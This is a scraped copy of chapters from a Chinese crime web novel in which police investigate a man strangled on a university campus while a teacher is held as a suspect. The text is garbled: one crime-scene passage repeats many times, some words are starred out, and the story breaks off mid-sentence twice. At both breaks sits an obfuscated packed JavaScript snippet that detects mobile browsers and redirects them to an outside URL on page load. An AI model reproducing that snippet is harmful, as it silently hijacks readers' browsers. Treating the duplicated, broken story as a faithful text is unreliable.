安暖不是去添乱的,是去真能出力的。而且,安暖明年想要参加局里的刑侦人员招聘,学历不学历的先放一边,多一点现场实践经验,比什么都强。比成天坐在图书馆里,强多了。 因此楚隽决定,只要安暖不说,他不可能是凶手,就带她一起去。 幸亏安暖没说。 她很中肯,她什么都没说。 大学里的命案,影响非常恶劣,上面很重视。 下了楼,安暖特别自觉说:“我开车,楚队,你们方便讨论案情。” 楚隽莫名觉得,如果安暖当不了刑侦人员,当个司机肯定没问题,毕竟她的车技是真的没话说。 安暖去学校找庄致轩拿过一次书,第二次开这条路,熟门熟路。 第184章 校园里总有几个鬼故事 每一个校园里,都流传着无数的鬼故事。 各种各样的,真真假假,微妙委屈,五花八门。 比如操场上游荡的黑影,厕所里半夜冲水的格挡,拖把上狰狞的人头,自习室里看不见人,却总有人哗啦啦翻书的声音, 这些鬼故事,一半来自同学们丰富的想象,另一半来自同学们更丰富的想象。 真正的命案也不是没有,但毕竟少之又少,十年八年偶尔一回,而且也没有那么邪乎,都是些寻常的命案。 很快到了学校,出来接待他们的,是保卫部部长秦鑫磊。 “楚队,你们可来了。”秦鑫磊一边寒暄,一边将众人迎进去:“我一直在等你们,现场也不敢动。” 路上,秦鑫磊将案子大概地说了一下。 上午十一点半,在学校的一处假山山洞里,发现了一个男人。 假山在学校边缘,平时没什么人去,去的最多的,就是甜甜蜜蜜谈恋爱的男女学生了。 今天这具尸体,也是一对小情侣发现的。 是同班的两个男女同学,上午的课下课之后,一起去食堂。 正常来说,从教室去食堂是走不到这个地方的,但他们也不知道怎么就走到了这个地方。据他们自己说,是走错路了。 这话只有鬼才信,大三的学生了,在校园里待了三年了,从教室去食堂能走错路? 两个走错路的学生就这么走到了偏僻的假山附近。 然后累了,想要休息一下。 刚坐下来,听着身后有什么东西打在石头上的声音。 两个人吓了一跳,连忙站了起来,往后一看。 不看不知道,一看吓一跳。 两人当时就吓的腿软,差一点摔倒。 等缓过来一点,颤颤巍巍走过去看了一下。 一个男人在山洞里,身体都在山洞里,只露出半个脑袋。 他两只手伸直做一个跳水的姿势,也在山洞外面,那咚咚咚的声音,是手里缠着个链子,链子上面垂着个坠子。 坠子被风吹的晃荡,打在石头上的声音。 两个学生只是想找个没人的地方说说悄悄话罢了,哪里想到会碰见这么恐怖的事情,立刻鬼哭狼嚎地去找老师。 保卫处立刻就派了人过来。 楚隽道:“死者是学校的人吗?是老师,还是学生?” “都不是,初步判断是校外人员,身份不明。”秦鑫磊说:“死者看起来也就是二十四五,穿的比较得体。没有带包 。手腕上有好几道伤痕,血淋淋的。脖子上有很深的勒痕,我们觉得,是被人勒死的。” “听说你们已经找到嫌疑人了?” “对。”秦鑫磊说:“有一个嫌疑人,已经被控制了。是本校的一名物理老师,叫庄志轩。” 安暖一直在一旁安静的听着,这会儿不由地竖起来耳朵。 楚隽道:“认为他是嫌疑人,是什么原因?” 秦鑫磊说:“因为凶手手里握着的项链,那条项链有老师见过,是庄志轩常戴在身上的。但此时,他拿不出那条项链。他住的是单人宿舍,昨天晚上也没有人能证明他没有外出。” 很可能是半夜发生的命案,人证是不好找的。但是现在找到了物证,庄志轩要是解释不清楚,确实很麻烦。 说话,已经走到了案发现场。 秦鑫磊说:“我们除了将人从山洞里拽出来之外,没有动这里的任何东西。也没有让人过来。” 山洞附近拉了警戒线,学校还是很有分寸的。 “人就在宿舍里,我叫人看着呢。”秦鑫磊说:“随时可以带走。” “好。”楚隽说:“我先看一看死者。” 死者是一个长得还挺好看的男人,穿了条休闲西裤,一件蓝色衬衣。虽然头发上全是灰,但是从发型看,是经常休整的。 跟着他们一起来的,是法医室乔主任,他放下工具箱,开始戴手套拿工具。 楚隽看了一眼安暖,有些意外,又不意外。 安暖很专业,她在勘察现场,没有一点为难,没有一句话想问,庄志轩现在怎么样,能不能去看看他。 安暖钻进了警戒线。 乔主任是一个人来的,她在给他打下手。 “死亡时间,今天凌晨两点左右。是被人用粗麻绳勒死的,身体上还有一些擦伤。从擦伤的痕迹看,死者是死后被塞进山洞里的。” 安暖仔细的看死者的手腕,上面有纵横交错的五道划痕,深深浅浅,各不相同。 安暖看了半天,说:“乔主任,你看看死者的割腕伤,这些伤好像是自己割的。” 自己割的伤,和别人割的伤,角度是不一样的。 乔主任过来看了看,赞许道:“判断的不错,从伤口的角度来看,确实是死者自己割伤的。这伤口不足以致命,说是割腕求死,更像是一种……威慑行为。要不,死者就是非常怕痛,或者对自己心很软,根本下不了手。” 一旁卢瑞泽说:“乔主任,你再看看脖子上呢,会不会这人失恋或者失业,想要找一个文化氛围浓厚的地方**,下辈子好投胎变成一个文化人。他本来是想割腕**的,但是割了几下,对自己实在下不了这个手,就改成上吊了?” “在山洞里上吊?”乔主任白了卢瑞泽一眼:“把自己吊死之后,又把上吊的绳子扔了,然后把自己塞进山洞?你是这个意思吗?” 卢瑞泽打了个哈哈,跑到一边去了。 假山周围铺的是鹅卵石的小道,留不下什么脚印。 附近搜寻了一遍,也没有发现什么东西,比如凶器,或者是死者随身总要带一些东西,比如钱包,包,钥匙什么。 什么都没有。 死者的衣着很讲究,不是地摊货,应该是有钱的。不可能身上什么都没有。 可是现在没有钱包,很有可能是****。 ****,这真是诸多死因中,比较简单的一种了。 楚隽道:“你们在现场在搜查一下,我去见一见嫌疑人。” 安暖正在和痕检云松德商量着什么,听见楚隽这话,竟然没有开口说我也想去看看。 。手腕上有好几道伤痕,血淋淋的。脖子上有很深的勒痕,我们觉得,是被人勒死的。” “听说你们已经找到嫌疑人了?” “对。”秦鑫磊说:“有一个嫌疑人,已经被控制了。是本校的一名物理老师,叫庄志轩。” 安暖一直在一旁安静的听着,这会儿不由地竖起来耳朵。 楚隽道:“认为他是嫌疑人,是什么原因?” 秦鑫磊说:“因为凶手手里握着的项链,那条项链有老师见过,是庄志轩常戴在身上的。但此时,他拿不出那条项链。他住的是单人宿舍,昨天晚上也没有人能证明他没有外出。” 很可能是半夜发生的命案,人证是不好找的。但是现在找到了物证,庄志轩要是解释不清楚,确实很麻烦。 说话,已经走到了案发现场。 秦鑫磊说:“我们除了将人从山洞里拽出来之外,没有动这里的任何东西。也没有让人过来。” 山洞附近拉了警戒线,学校还是很有分寸的。 “人就在宿舍里,我叫人看着呢。”秦鑫磊说:“随时可以带走。” “好。”楚隽说:“我先看一看死者。” 死者是一个长得还挺好看的男人,穿了条休闲西裤,一件蓝色衬衣。虽然头发上全是灰,但是从发型看,是经常休整的。 跟着他们一起来的,是法医室乔主任,他放下工具箱,开始戴手套拿工具。 楚隽看了一眼安暖,有些意外,又不意外。 安暖很专业,她在勘察现场,没有一点为难,没有一句话想问,庄志轩现在怎么样,能不能去看看他。 安暖钻进了警戒线。 乔主任是一个人来的,她在给他打下手。 “死亡时间,今天凌晨两点左右。是被人用粗麻绳勒死的,身体上还有一些擦伤。从擦伤的痕迹看,死者是死后被塞进山洞里的。” 安暖仔细的看死者的手腕,上面有纵横交错的五道划痕,深深浅浅,各不相同。 安暖看了半天,说:“乔主任,你看看死者的割腕伤,这些伤好像是自己割的。” 自己割的伤,和别人割的伤,角度是不一样的。 乔主任过来看了看,赞许道:“判断的不错,从伤口的角度来看,确实是死者自己割伤的。这伤口不足以致命,说是割腕求死,更像是一种……威慑行为。要不,死者就是非常怕痛,或者对自己心很软,根本下不了手。” 一旁卢瑞泽说:“乔主任,你再看看脖子上呢,会不会这人失恋或者失业,想要找一个文化氛围浓厚的地方**,下辈子好投胎变成一个文化人。他本来是想割腕**的,但是割了几下,对自己实在下不了这个手,就改成上吊了?” “在山洞里上吊?”乔主任白了卢瑞泽一眼:“把自己吊死之后,又把上吊的绳子扔了,然后把自己塞进山洞?你是这个意思吗?” 卢瑞泽打了个哈哈,跑到一边去了。 假山周围铺的是鹅卵石的小道,留不下什么脚印。 附近搜寻了一遍,也没有发现什么东西,比如凶器,或者是死者随身总要带一些东西,比如钱包,包,钥匙什么。 什么都没有。 死者的衣着很讲究,不是地摊货,应该是有钱的。不可能身上什么都没有。 可是现在没有钱包,很有可能是****。 ****,这真是诸多死因中,比较简单的一种了。 楚隽道:“你们在现场在搜查一下,我去见一见嫌疑人。” 安暖正在和痕检云松德商量着什么,听见楚隽这话,竟然没有开口说我也想去看看。 。手腕上有好几道伤痕,血淋淋的。脖子上有很深的勒痕,我们觉得,是被人勒死的。” “听说你们已经找到嫌疑人了?” “对。”秦鑫磊说:“有一个嫌疑人,已经被控制了。是本校的一名物理老师,叫庄志轩。” 安暖一直在一旁安静的听着,这会儿不由地竖起来耳朵。 楚隽道:“认为他是嫌疑人,是什么原因?” 秦鑫磊说:“因为凶手手里握着的项链,那条项链有老师见过,是庄志轩常戴在身上的。但此时,他拿不出那条项链。他住的是单人宿舍,昨天晚上也没有人能证明他没有外出。” 很可能是半夜发生的命案,人证是不好找的。但是现在找到了物证,庄志轩要是解释不清楚,确实很麻烦。 说话,已经走到了案发现场。 秦鑫磊说:“我们除了将人从山洞里拽出来之外,没有动这里的任何东西。也没有让人过来。” 山洞附近拉了警戒线,学校还是很有分寸的。 “人就在宿舍里,我叫人看着呢。”秦鑫磊说:“随时可以带走。” “好。”楚隽说:“我先看一看死者。” 死者是一个长得还挺好看的男人,穿了条休闲西裤,一件蓝色衬衣。虽然头发上全是灰,但是从发型看,是经常休整的。 跟着他们一起来的,是法医室乔主任,他放下工具箱,开始戴手套拿工具。 楚隽看了一眼安暖,有些意外,又不意外。 安暖很专业,她在勘察现场,没有一点为难,没有一句话想问,庄志轩现在怎么样,能不能去看看他。 安暖钻进了警戒线。 乔主任是一个人来的,她在给他打下手。 “死亡时间,今天凌晨两点左右。是被人用粗麻绳勒死的,身体上还有一些擦伤。从擦伤的痕迹看,死者是死后被塞进山洞里的。” 安暖仔细的看死者的手腕,上面有纵横交错的五道划痕,深深浅浅,各不相同。 安暖看了半天,说:“乔主任,你看看死者的割腕伤,这些伤好像是自己割的。” 自己割的伤,和别人割的伤,角度是不一样的。 乔主任过来看了看,赞许道:“判断的不错,从伤口的角度来看,确实是死者自己割伤的。这伤口不足以致命,说是割腕求死,更像是一种……威慑行为。要不,死者就是非常怕痛,或者对自己心很软,根本下不了手。” 一旁卢瑞泽说:“乔主任,你再看看脖子上呢,会不会这人失恋或者失业,想要找一个文化氛围浓厚的地方**,下辈子好投胎变成一个文化人。他本来是想割腕**的,但是割了几下,对自己实在下不了这个手,就改成上吊了?” “在山洞里上吊?”乔主任白了卢瑞泽一眼:“把自己吊死之后,又把上吊的绳子扔了,然后把自己塞进山洞?你是这个意思吗?” 卢瑞泽打了个哈哈,跑到一边去了。 假山周围铺的是鹅卵石的小道,留不下什么脚印。 附近搜寻了一遍,也没有发现什么东西,比如凶器,或者是死者随身总要带一些东西,比如钱包,包,钥匙什么。 什么都没有。 死者的衣着很讲究,不是地摊货,应该是有钱的。不可能身上什么都没有。 可是现在没有钱包,很有可能是****。 ****,这真是诸多死因中,比较简单的一种了。 楚隽道:“你们在现场在搜查一下,我去见一见嫌疑人。” 安暖正在和痕检云松德商量着什么,听见楚隽这话,竟然没有开口说我也想去看看。 。手腕上有好几道伤痕,血淋淋的。脖子上有很深的勒痕,我们觉得,是被人勒死的。” “听说你们已经找到嫌疑人了?” “对。”秦鑫磊说:“有一个嫌疑人,已经被控制了。是本校的一名物理老师,叫庄志轩。” 安暖一直在一旁安静的听着,这会儿不由地竖起来耳朵。 楚隽道:“认为他是嫌疑人,是什么原因?” 秦鑫磊说:“因为凶手手里握着的项链,那条项链有老师见过,是庄志轩常戴在身上的。但此时,他拿不出那条项链。他住的是单人宿舍,昨天晚上也没有人能证明他没有外出。” 很可能是半夜发生的命案,人证是不好找的。但是现在找到了物证,庄志轩要是解释不清楚,确实很麻烦。 说话,已经走到了案发现场。 秦鑫磊说:“我们除了将人从山洞里拽出来之外,没有动这里的任何东西。也没有让人过来。” 山洞附近拉了警戒线,学校还是很有分寸的。 “人就在宿舍里,我叫人看着呢。”秦鑫磊说:“随时可以带走。” “好。”楚隽说:“我先看一看死者。” 死者是一个长得还挺好看的男人,穿了条休闲西裤,一件蓝色衬衣。虽然头发上全是灰,但是从发型看,是经常休整的。 跟着他们一起来的,是法医室乔主任,他放下工具箱,开始戴手套拿工具。 楚隽看了一眼安暖,有些意外,又不意外。 安暖很专业,她在勘察现场,没有一点为难,没有一句话想问,庄志轩现在怎么样,能不能去看看他。 安暖钻进了警戒线。 乔主任是一个人来的,她在给他打下手。 “死亡时间,今天凌晨两点左右。是被人用粗麻绳勒死的,身体上还有一些擦伤。从擦伤的痕迹看,死者是死后被塞进山洞里的。” 安暖仔细的看死者的手腕,上面有纵横交错的五道划痕,深深浅浅,各不相同。 安暖看了半天,说:“乔主任,你看看死者的割腕伤,这些伤好像是自己割的。” 自己割的伤,和别人割的伤,角度是不一样的。 乔主任过来看了看,赞许道:“判断的不错,从伤口的角度来看,确实是死者自己割伤的。这伤口不足以致命,说是割腕求死,更像是一种……威慑行为。要不,死者就是非常怕痛,或者对自己心很软,根本下不了手。” 一旁卢瑞泽说:“乔主任,你再看看脖子上呢,会不会这人失恋或者失业,想要找一个文化氛围浓厚的地方**,下辈子好投胎变成一个文化人。他本来是想割腕**的,但是割了几下,对自己实在下不了这个手,就改成上吊了?” “在山洞里上吊?”乔主任白了卢瑞泽一眼:“把自己吊死之后,又把上吊的绳子扔了,然后把自己塞进山洞?你是这个意思吗?” 卢瑞泽打了个哈哈,跑到一边去了。 假山周围铺的是鹅卵石的小道,留不下什么脚印。 附近搜寻了一遍,也没有发现什么东西,比如凶器,或者是死者随身总要带一些东西,比如钱包,包,钥匙什么。 什么都没有。 死者的衣着很讲究,不是地摊货,应该是有钱的。不可能身上什么都没有。 可是现在没有钱包,很有可能是****。 ****,这真是诸多死因中,比较简单的一种了。 楚隽道:“你们在现场在搜查一下,我去见一见嫌疑人。” 安暖正在和痕检云松德商量着什么,听见楚隽这话,竟然没有开口说我也想去看看。 。手腕上有好几道伤痕,血淋淋的。脖子上有很深的勒痕,我们觉得,是被人勒死的。” “听说你们已经找到嫌疑人了?” “对。”秦鑫磊说:“有一个嫌疑人,已经被控制了。是本校的一名物理老师,叫庄志轩。” 安暖一直在一旁安静的听着,这会儿不由地竖起来耳朵。 楚隽道:“认为他是嫌疑人,是什么原因?” 秦鑫磊说:“因为凶手手里握着的项链,那条项链有老师见过,是庄志轩常戴在身上的。但此时,他拿不出那条项链。他住的是单人宿舍,昨天晚上也没有人能证明他没有外出。” 很可能是半夜发生的命案,人证是不好找的。但是现在找到了物证,庄志轩要是解释不清楚,确实很麻烦。 说话,已经走到了案发现场。 秦鑫磊说:“我们除了将人从山洞里拽出来之外,没有动这里的任何东西。也没有让人过来。” 山洞附近拉了警戒线,学校还是很有分寸的。 “人就在宿舍里,我叫人看着呢。”秦鑫磊说:“随时可以带走。” “好。”楚隽说:“我先看一看死者。” 死者是一个长得还挺好看的男人,穿了条休闲西裤,一件蓝色衬衣。虽然头发上全是灰,但是从发型看,是经常休整的。 跟着他们一起来的,是法医室乔主任,他放下工具箱,开始戴手套拿工具。 楚隽看了一眼安暖,有些意外,又不意外。 安暖很专业,她在勘察现场,没有一点为难,没有一句话想问,庄志轩现在怎么样,能不能去看看他。 安暖钻进了警戒线。 乔主任是一个人来的,她在给他打下手。 “死亡时间,今天凌晨两点左右。是被人用粗麻绳勒死的,身体上还有一些擦伤。从擦伤的痕迹看,死者是死后被塞进山洞里的。” 安暖仔细的看死者的手腕,上面有纵横交错的五道划痕,深深浅浅,各不相同。 安暖看了半天,说:“乔主任,你看看死者的割腕伤,这些伤好像是自己割的。” 自己割的伤,和别人割的伤,角度是不一样的。 乔主任过来看了看,赞许道:“判断的不错,从伤口的角度来看,确实是死者自己割伤的。这伤口不足以致命,说是割腕求死,更像是一种……威慑行为。要不,死者就是非常怕痛,或者对自己心很软,根本下不了手。” 一旁卢瑞泽说:“乔主任,你再看看脖子上呢,会不会这人失恋或者失业,想要找一个文化氛围浓厚的地方**,下辈子好投胎变成一个文化人。他本来是想割腕**的,但是割了几下,对自己实在下不了这个手,就改成上吊了?” “在山洞里上吊?”乔主任白了卢瑞泽一眼:“把自己吊死之后,又把上吊的绳子扔了,然后把自己塞进山洞?你是这个意思吗?” 卢瑞泽打了个哈哈,跑到一边去了。 假山周围铺的是鹅卵石的小道,留不下什么脚印。 附近搜寻了一遍,也没有发现什么东西,比如凶器,或者是死者随身总要带一些东西,比如钱包,包,钥匙什么。 什么都没有。 死者的衣着很讲究,不是地摊货,应该是有钱的。不可能身上什么都没有。 可是现在没有钱包,很有可能是****。 ****,这真是诸多死因中,比较简单的一种了。 楚隽道:“你们在现场在搜查一下,我去见一见嫌疑人。” 安暖正在和痕检云松德商量着什么,听见楚隽这话,竟然没有开口说我也想去看看。 。手腕上有好几道伤痕,血淋淋的。脖子上有很深的勒痕,我们觉得,是被人勒死的。” “听说你们已经找到嫌疑人了?” “对。”秦鑫磊说:“有一个嫌疑人,已经被控制了。是本校的一名物理老师,叫庄志轩。” 安暖一直在一旁安静的听着,这会儿不由地竖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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乔主任过来看了看,赞许道:“判断的不错,从伤口的角度来看,确实是死者自己割伤的。这伤口不足以致命,说是割腕求死,更像是一种……威慑行为。要不,死者就是非常怕痛,或者对自己心很软,根本下不了手。” 一旁卢瑞泽说:“乔主任,你再看看脖子上呢,会不会这人失恋或者失业,想要找一个文化氛围浓厚的地方**,下辈子好投胎变成一个文化人。他本来是想割腕**的,但是割了几下,对自己实在下不了这个手,就改成上吊了?” “在山洞里上吊?”乔主任白了卢瑞泽一眼:“把自己吊死之后,又把上吊的绳子扔了,然后把自己塞进山洞?你是这个意思吗?” 卢瑞泽打了个哈哈,跑到一边去了。 假山周围铺的是鹅卵石的小道,留不下什么脚印。 附近搜寻了一遍,也没有发现什么东西,比如凶器,或者是死者随身总要带一些东西,比如钱包,包,钥匙什么。 什么都没有。 死者的衣着很讲究,不是地摊货,应该是有钱的。不可能身上什么都没有。 可是现在没有钱包,很有可能是****。 ****,这真是诸多死因中,比较简单的一种了。 楚隽道:“你们在现场在搜查一下,我去见一见嫌疑人。” 安暖正在和痕检云松德商量着什么,听见楚隽这话,竟然没有开口说我也想去看看。 。手腕上有好几道伤痕,血淋淋的。脖子上有很深的勒痕,我们觉得,是被人勒死的。” “听说你们已经找到嫌疑人了?” “对。”秦鑫磊说:“有一个嫌疑人,已经被控制了。是本校的一名物理老师,叫庄志轩。” 安暖一直在一旁安静的听着,这会儿不由地竖起来耳朵。 楚隽道:“认为他是嫌疑人,是什么原因?” 秦鑫磊说:“因为凶手手里握着的项链,那条项链有老师见过,是庄志轩常戴在身上的。但此时,他拿不出那条项链。他住的是单人宿舍,昨天晚上也没有人能证明他没有外出。” 很可能是半夜发生的命案,人证是不好找的。但是现在找到了物证,庄志轩要是解释不清楚,确实很麻烦。 说话,已经走到了案发现场。 秦鑫磊说:“我们除了将人从山洞里拽出来之外,没有动这里的任何东西。也没有让人过来。” 山洞附近拉了警戒线,学校还是很有分寸的。 “人就在宿舍里,我叫人看着呢。”秦鑫磊说:“随时可以带走。” “好。”楚隽说:“我先看一看死者。” 死者是一个长得还挺好看的男人,穿了条休闲西裤,一件蓝色衬衣。虽然头发上全是灰,但是从发型看,是经常休整的。 跟着他们一起来的,是法医室乔主任,他放下工具箱,开始戴手套拿工具。 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很可能是半夜发生的命案,人证是不好找的。但是现在找到了物证,庄志轩要是解释不清楚,确实很麻烦。 说话,已经走到了案发现场。 秦鑫磊说:“我们除了将人从山洞里拽出来之外,没有动这里的任何东西。也没有让人过来。” 山洞附近拉了警戒线,学校还是很有分寸的。 “人就在宿舍里,我叫人看着呢。”秦鑫磊说:“随时可以带走。” “好。”楚隽说:“我先看一看死者。” 死者是一个长得还挺好看的男人,穿了条休闲西裤,一件蓝色衬衣。虽然头发上全是灰,但是从发型看,是经常休整的。 跟着他们一起来的,是法医室乔主任,他放下工具箱,开始戴手套拿工具。 楚隽看了一眼安暖,有些意外,又不意外。 安暖很专业,她在勘察现场,没有一点为难,没有一句话想问,庄志轩现在怎么样,能不能去看看他。 安暖钻进了警戒线。 乔主任是一个人来的,她在给他打下手。 “死亡时间,今天凌晨两点左右。是被人用粗麻绳勒死的,身体上还有一些擦伤。从擦伤的痕迹看,死者是死后被塞进山洞里的。” 安暖仔细的看死者的手腕,上面有纵横交错的五道划痕,深深浅浅,各不相同。 安暖看了半天,说:“乔主任,你看看死者的割腕伤,这些伤好像是自己割的。” 自己割的伤,和别人割的伤,角度是不一样的。 乔主任过来看了看,赞许道:“判断的不错,从伤口的角度来看,确实是死者自己割伤的。这伤口不足以致命,说是割腕求死,更像是一种……威慑行为。要不,死者就是非常怕痛,或者对自己心很软,根本下不了手。” 一旁卢瑞泽说:“乔主任,你再看看脖子上呢,会不会这人失恋或者失业,想要找一个文化氛围浓厚的地方**,下辈子好投胎变成一个文化人。他本来是想割腕**的,但是割了几下,对自己实在下不了这个手,就改成上吊了?” “在山洞里上吊?”乔主任白了卢瑞泽一眼:“把自己吊死之后,又把上吊的绳子扔了,然后把自己塞进山洞?你是这个意思吗?” 卢瑞泽打了个哈哈,跑到一边去了。 假山周围铺的是鹅卵石的小道,留不下什么脚印。 附近搜寻了一遍,也没有发现什么东西,比如凶器,或者是死者随身总要带一些东西,比如钱包,包,钥匙什么。 什么都没有。 死者的衣着很讲究,不是地摊货,应该是有钱的。不可能身上什么都没有。 可是现在没有钱包,很有可能是****。 ****,这真是诸多死因中,比较简单的一种了。 楚隽道:“你们在现场在搜查一下,我去见一见嫌疑人。” 安暖正在和痕检云松德商量着什么,听见楚隽这话,竟然没有开口说我也想去看看。 第185章 校园鬼影,尴尬再见 楚隽带人去见了庄致轩。 庄致轩正坐在房间里发呆门口守着两个保安。 秦鑫磊带着楚隽过去介绍了一下楚隽的身份打开门。 楚隽走进房间。 庄致轩听见有动静一个激灵站了起来。他这一上午弄得也有些草木皆兵。 “这就是庄致轩。”秦鑫磊说:“庄老师这是市刑警队的楚队长。” 刚才秦鑫磊已经将庄致轩的资料拿给了楚隽不过只是中规中矩的资料。一个从偏僻县城考出来的高才生励志又勤奋没有什么疑点。 “楚队长你好你好。”庄致轩连忙伸出手。 楚隽也伸手和他握了一下:“庄老师你好。” 楚隽一说话庄致轩就觉得有些奇怪。 他愣了一下:“楚队长我们是不是……见过。不是不是见过我好像听过你的声音。” 其实楚隽和庄致轩一起去过谢家女儿的生日宴但是当时两人并没有见过面。 “是。”楚隽也没什么好否认:“我是安暖的男朋友之前安暖给你的电话号码就是我办公室的电话。你打电话过去给她找了初中课本是我接的电话。” 庄致轩反应了一下才反应过来。 “原来你就是安爷爷给定了娃娃亲的男人。” 这事情果然无论是在安家还是在翟家只要是在他们两家关系亲近的邻居朋友之间都不是什么秘密。 这种关系在这个年代不结婚确实很难收场。 楚隽坦然承认:“是我。” 秦鑫磊脸上的表情很复杂没想到啊庄致轩竟然认识楚隽。 虽然在这个自身难保的时候庄致轩还是忍不住打量了楚隽一番。 高大英俊一表人才。 他顿时想到了之前的那些事情安暖出现在谢家女儿的生日宴上穿着一身礼服 难怪这就说得过去了。 乡里乡亲的他确实听说过安家定的娃娃亲对象不是一般人现在可以确定了。虽然楚隽只是个刑警队长但确实不是一般的刑警队长家世不菲。 安暖的老乡如果是在正常的场老合见面楚隽肯定是要寒暄几句的。 但现在不合适。 “庄老师。”楚隽迅速将话题切回正事:“今天凌晨三点你在什么地方?” “我在宿舍休息。” “有人可以证明吗?” “这……半夜三点,我去哪儿找人证明呢?”庄致轩也是无奈:“我们宿舍都是单间,一个人一个房间,也没人跟我一起睡啊。” 教师宿舍还不像是学生宿舍有门襟,庄致轩住的公寓楼,晚上大门是不锁的。随便你进进出出,不用登记。 虽然有宿管,但是宿管晚上也是要睡觉的。有事情再喊,没事情也不熬夜。 “那这个项链,是你的吗?” 楚隽拿出项链,已经装在了证物袋里。 “是……但我真的不知道什么时候不见的。”庄致轩郁闷道:“我平时是不戴项链的,这链子一直就放在抽屉里。是今天领导来找我的时候,我才发现它丢了。” 庄致轩主打一个,我什么都不知道。 楚隽问了一些话,庄致轩虽然没有什么疑点,但也没有给自己提出什么确凿的无辜的证据。 “庄老师,要请你跟我们走一趟了。”楚隽道:“你也不用紧张,只是配合调查,如果你是无辜的,我们是不会让你被冤枉的。” “好。”庄致轩叹了口气:“我跟你们走。” 事已至此,不走也不行啊。 学校的领导也来了,非常恰当的表示了对此事的重视,也表示了对本校老师的信任,并且愿意完全配合警方调查此事。 现场已经取证完了,暂时没有发现,死者尸体要运回局里,进行下一步详细检查。 照片洗出来,以学校为中心,尽快查出死者的身份,进一步调查死者的社会家庭关系。 庄致轩在回警局的车上,又看见了安暖。 这次相见,比上次相见要尴尬多了,差一点就是真正的老乡见老乡,两眼泪汪汪了。 安暖这次没开车,坐在副驾驶,看见庄致轩被带出来,一时也不知道该打招呼,还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15570973|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不该打招呼。 庄致轩也上了车。 安暖犹豫了一下,还是开口道:“小庄哥。” 不能需要帮忙的时候就联系,碰着事情就装不认识吧。 现在也只是嫌疑,又不是凶手,嫌弃也不是现在嫌弃。 “暖暖。”庄致轩尴尬地笑了一下,然后说:“我不是凶手,我没有**。” 安暖没有说我相信你,也没有说我知道。她说:“你放心,一定会查清楚的。” 庄致轩点了点头,在后座坐下。 只是有嫌疑,也没有什么武力威胁,楚隽很贴心没有用**什么的。这消息在学校也还是基本封锁的,免得案子查清楚庄致轩是清白的 ,会有风言风语,以后不好做事。 脏水这东西,流言无穷,一旦往一个人身上泼了,日后想洗白就困难了。 造谣一张嘴,辟谣跑断腿,历来如此。 回了楚隽办公室,楚隽说:“吃了中饭,要不你先回去休息?” 安暖想了想:“这种情况,我要回避吗?” “那倒不用。”楚隽说:“你和庄致轩,也没什么特殊关系,只是多年未见的老乡。何况,你还不是刑警队的人,也不用遵守什么规定。” 可怜安暖,最多也就是楚隽私人聘请的技术顾问。 “那行,那我不着急回去。”安暖说:“我也想参与一下,你知道的,理论知识我有,但是需要更多实践。而且我是绝对不会徇私枉法的,我特别公事公办。” 庄致轩,在安暖心里,就是一个熟悉的名字罢了。 安暖没有能旁听对庄致轩的审问,但是楚隽也没有瞒着她。 笔录上没有什么新鲜的内容,他说的,还是今天上午在宿舍楼里说过的那些。 楚隽还让法医去给他做了检查,庄致轩身上也没有和人打斗留下的新鲜伤痕。 尸检报告虽然还没有出来,但安暖今天是给乔主任打了下手的,对死者的情况比较熟悉。 安暖说:“我怀疑死者和凶手,是认识的,甚至熟悉的。” 第186章 校园鬼影,勒死我试试 “怎么说?” 安暖道:“死者虽然不是很强壮,但也是个年轻男人,力气应该不会太小。没有**迹象,不是被迷晕的。身上也没有其他严重的伤口,脑部没有伤,不是被打昏后勒死的,而是直接被勒死的。手指,手臂,腿部有擦伤,身体有若干擦伤,不严重,是在被勒住之后,挣扎的时候留下的。” 安暖第一次在会议室里发表自己的意见的时候,大家抱着的还是,半信半疑,给楚隽面子的心理。 如今,却都很认真的听她说话。 刑警队里的人都是很专业的,一开口,就知道你是胡说八道,哗众取宠,还是有理有据。 虽然人人都知道安暖是个外行,但是一开口,就不是外行。 “熟人,才会让死者放松警惕。”楚隽道:“我也想了一下,和校园相关的案子,我也办过几个,也看过一些历史案件的卷宗。相对社会案件来说,动机倒是单一一些,感情纠葛,占了一大部分。” 年轻气盛,感情丰富,有些人性格冲动,一点就着。 荷尔蒙分泌最旺盛的时候,不管学校再怎么禁止,也避免不了少男少女之间的互相喜欢。 你爱我,我爱他,他爱她,难免就有矛盾。 楚隽道:“死者被发现的地方,是学校里比较偏僻的地方,那个地方别说外校人,就是校内人员也不太会去,喜欢去的,就是处对象的小情侣。” 月黑风高,无人角落,特别适合诉衷肠。 “死者虽然不是校内人员,但年轻,长得也不错,从穿着看,条件也不差,这种人是有吸引异性的资质的。” 女大学生和年轻的社会成功人士,在大众眼里是很搭配的。 “所以说,死者晚上出现在校内,很可能是在和女朋友在谈恋爱啊。”卢瑞泽沉吟道:“然后,谈着谈着,吵起来了?他女朋友一气之下,把他勒**?这女人力气得有多大啊。” 就算是开始的时候,因为意乱情迷没有挣扎吧,感觉不对的时候,也会开始挣扎。 男性和女性的力量天生就有巨大差别,一个正常的年轻男性,身体没有病痛受伤的情况,他的力气比一个正常的女性,是要强上许多的。 当然个体差异有,但案件开始的侦查中,是不考虑特殊情况的。 安暖说:“我不知道凶手的力气有多大,但是死者手臂上有肌肉。死者是一个注重锻炼的人,正常情况来说,力气不会小。” 楚隽突然看向安暖。 安暖被看的奇奇怪怪: “看我做什么?” 楚隽说:“你觉得你能勒死我吗?” “楚队开什么玩笑?”安暖说:“你觉得我有那力气吗?” 别说一个安暖就是两个安暖 楚隽招了招手:“你过来。” 安暖十分无语但还是走了过去。 